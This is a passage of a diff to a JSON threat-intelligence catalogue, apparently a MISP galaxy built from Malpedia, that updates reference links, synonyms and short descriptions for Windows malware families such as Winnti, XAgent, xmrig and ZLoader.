"https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://www.youtube.com/watch?v=6SDdUVejR2w", "https://www.zdnet.com/article/waterbear-malware-used-in-attack-wave-against-government-agencies/", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", "https://daydaynews.cc/zh-tw/technology/297265.html", - "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html" + "https://www.youtube.com/watch?v=6SDdUVejR2w", + "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf" ], "synonyms": [ "DbgPrint", @@ -47499,15 +50174,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "2d8043b4-48ef-4992-a04a-c342cbbb4f87", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e57c677f-0117-4e23-8c3f-a772ed809f4c", "value": "WebC2-AdSpace" }, @@ -47521,15 +50187,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e2a27431-28ea-42e3-a0cc-72f29828c292", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": 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"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-actors-target-comm-apps-such-as-zoom-slack-discord", + "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/" ], "synonyms": [ @@ -47812,35 +50370,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess", - "https://us-cert.cisa.gov/ncas/alerts/aa21-116a", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", "https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf", - "https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html", - 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"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://github.com/TKCERT/winnti-detector", - "https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0921.pdf", - "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", - "https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/", "http://2015.ruxcon.org.au/assets/2015/slides/Ruxcon%202015%20-%20McCormack.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - 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"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", - "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://github.com/TKCERT/winnti-nmap-script", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", - "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", - "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://github.com/TKCERT/winnti-suricata-lua", "https://attack.mitre.org/groups/G0096", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://github.com/TKCERT/winnti-nmap-script", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://quointelligence.eu/2020/04/winnti-group-insights-from-the-past/", + "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0921.pdf", + "https://docplayer.net/162112338-Don-t-miss-the-forest-for-the-trees-gleaning-hunting-value-from-too-much-intrusion-data.html", + "https://github.com/superkhung/winnti-sniff", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/slides/VB2022-Tracking-the-entire-iceberg.pdf", + "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://content.fireeye.com/api/pdfproxy?id=86840", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", + "https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/", + "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", + "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/", + "https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://www.lastline.com/labsblog/helo-winnti-attack-scan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", + "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", "https://www.tagesschau.de/investigativ/ndr/hackerangriff-chemieunternehmen-101.html", + "https://content.fireeye.com/apt-41/rpt-apt41/", + "https://github.com/br-data/2019-winnti-analyse/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", + "https://github.com/TKCERT/winnti-detector", "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", "https://www.youtube.com/watch?v=_fstHQSK-kk", - "https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html" + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf", + "https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/", + "http://web.br.de/interaktiv/winnti/english/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://securelist.com/games-are-over/70991/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Tracking-the-entire-iceberg-long-term-APT-malware-C2-protocol-emulation-and-scanning.pdf", + "https://github.com/TKCERT/winnti-suricata-lua", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/" ], "synonyms": [ "BleDoor", @@ -48095,13 +50667,26 @@ "uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", "value": "Winnti (Windows)" }, + { + "description": "According to ESET Research, this is a payload downloaded by win.wslink. They attribute it with low confidence to Lazarus.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64", + "https://www.welivesecurity.com/2023/02/23/winordll64-backdoor-vast-lazarus-arsenal/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "64f7f940-db4c-4569-869b-d282dadf55ac", + "value": "WinorDLL64" + }, { "description": "WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot", - "https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/", "https://www.association-secure-transactions.eu/east-publishes-fraud-update-2-2018/", + "https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/", "https://securelist.com/atm-robber-winpot/89611/" ], "synonyms": [ @@ -48143,11 +50728,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot", - "https://docs.broadcom.com/doc/waterbug-attack-group", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" + "https://docs.broadcom.com/doc/waterbug-attack-group" ], "synonyms": [ "Epic", @@ -48155,15 +50740,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "36c0faf0-428e-4e7f-93c5-824bb0495ac9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6b6cf608-cc2c-40d7-8500-afca3e35e7e4", "value": "Wipbot" }, @@ -48241,9 +50817,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger", - "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf", - "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf" + "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" ], "synonyms": [ "WoolenLogger" @@ -48258,6 +50834,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind", + "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" ], "synonyms": [], @@ -48271,8 +50848,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" ], "synonyms": [], "type": [] @@ -48328,8 +50905,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink", "https://twitter.com/darienhuss/status/1453342652682981378", - "https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/", - "https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf", + "https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/" ], "synonyms": [ "FinickyFrogfish" @@ -48344,7 +50921,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.x4", - "https://www.gradiant.org/noticia/analysis-malware-cve-2017/" + "https://www.gradiant.org/noticia/analysis-malware-cve-2017/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" ], "synonyms": [], "type": [] @@ -48357,21 +50935,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf", "https://assets.documentcloud.org/documents/3461560/Google-Aquarium-Clean.pdf", - "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", - "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", - "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf", + "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", + "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [ "chopstick", @@ -48441,9 +51019,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy", "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/", - "https://github.com/eset/malware-ioc/tree/master/xdspy/", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf" + "https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf", + "https://github.com/eset/malware-ioc/tree/master/xdspy/" ], "synonyms": [], "type": [] @@ -48451,6 +51029,21 @@ "uuid": "2cf836f5-b88a-417d-b3c6-ab2580fea6ad", "value": "XDSpy" }, + { + "description": "XenArmor is a suite of password recovery tools for various applications that have been observed to be abused in attacks alongside malware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor", + "https://xenarmor.com/" + ], + "synonyms": [ + "XenArmor Suite" + ], + "type": [] + }, + "uuid": "79fd77ba-4b40-4354-820a-16662edba41d", + "value": "XenArmor" + }, { "description": "", "meta": { @@ -48469,6 +51062,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer", + "https://cyberint.com/blog/research/xfiles-stealer-campaign-abusing-follina/", "https://twitter.com/3xp0rtblog/status/1473323635469438978" ], "synonyms": [], @@ -48482,8 +51076,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm", - "https://twitter.com/VK_Intel/status/1149454961740255232", - "https://twitter.com/r3c0nst/status/1149043362244308992" + "https://twitter.com/r3c0nst/status/1149043362244308992", + "https://twitter.com/VK_Intel/status/1149454961740255232" ], "synonyms": [], "type": [] @@ -48520,6 +51114,32 @@ "uuid": "e839ae61-616c-4234-8edb-36b48040e5af", "value": "XiaoBa" }, + { + "description": "According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called \"bundling\".\r\n\r\nIn most cases, \"bundling\" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig", + "https://gridinsoft.com/xmrig" + ], + "synonyms": [], + "type": [] + }, + "uuid": "88efd461-03dd-42eb-976c-5e9fe403fce6", + "value": "xmrig" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xorist", + "https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-New-Inlock-and-Xorist-Variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "029369aa-9e88-4e98-8fda-ca29a873acc5", + "value": "Xorist" + }, { "description": "Ransomware.", "meta": { @@ -48540,9 +51160,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack", - "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html", "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html" ], "synonyms": [ "NERAPACK" @@ -48557,8 +51177,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan", - "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/", - "https://securelist.com/blog/research/78110/xpan-i-am-your-father/" + "https://securelist.com/blog/research/78110/xpan-i-am-your-father/", + "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/" ], "synonyms": [], "type": [] @@ -48571,9 +51191,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra", + "https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis", "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", - "https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/", - "https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis" + "https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/" ], "synonyms": [ "Expectra" @@ -48588,8 +51208,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat", - "https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration", "https://labs.k7computing.com/?p=15672", + "https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration", "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html" ], "synonyms": [], @@ -48632,9 +51252,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - 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"https://johannesbader.ch/blog/the-dga-of-zloader/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks", + "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", + "https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", + "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://noticeofpleadings.com/zloader/", + "https://labs.k7computing.com/?p=22458", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://blogs.quickheal.com/zloader-entailing-different-office-files/", + "https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", + "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", + "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/", + "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", "https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", + "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", + "https://blog.alyac.co.kr/3322", + "https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", "https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", - "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", - "https://labs.k7computing.com/?p=22458", - "https://blogs.quickheal.com/zloader-entailing-different-office-files/", - "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", - "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", - "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", - "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", - "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", - "https://twitter.com/ffforward/status/1324281530026524672", - "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/", + "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns", + "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", + "https://twitter.com/VK_Intel/status/1294320579311435776", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", - "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", - "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/" + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.youtube.com/watch?v=QBoj6GB79wM", + "https://twitter.com/ffforward/status/1324281530026524672", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://johannesbader.ch/blog/the-dga-of-zloader/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/", + "https://www.youtube.com/watch?v=mhX-UoaYnOM", + "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", + "https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", + "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", + "https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/", + "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/", + 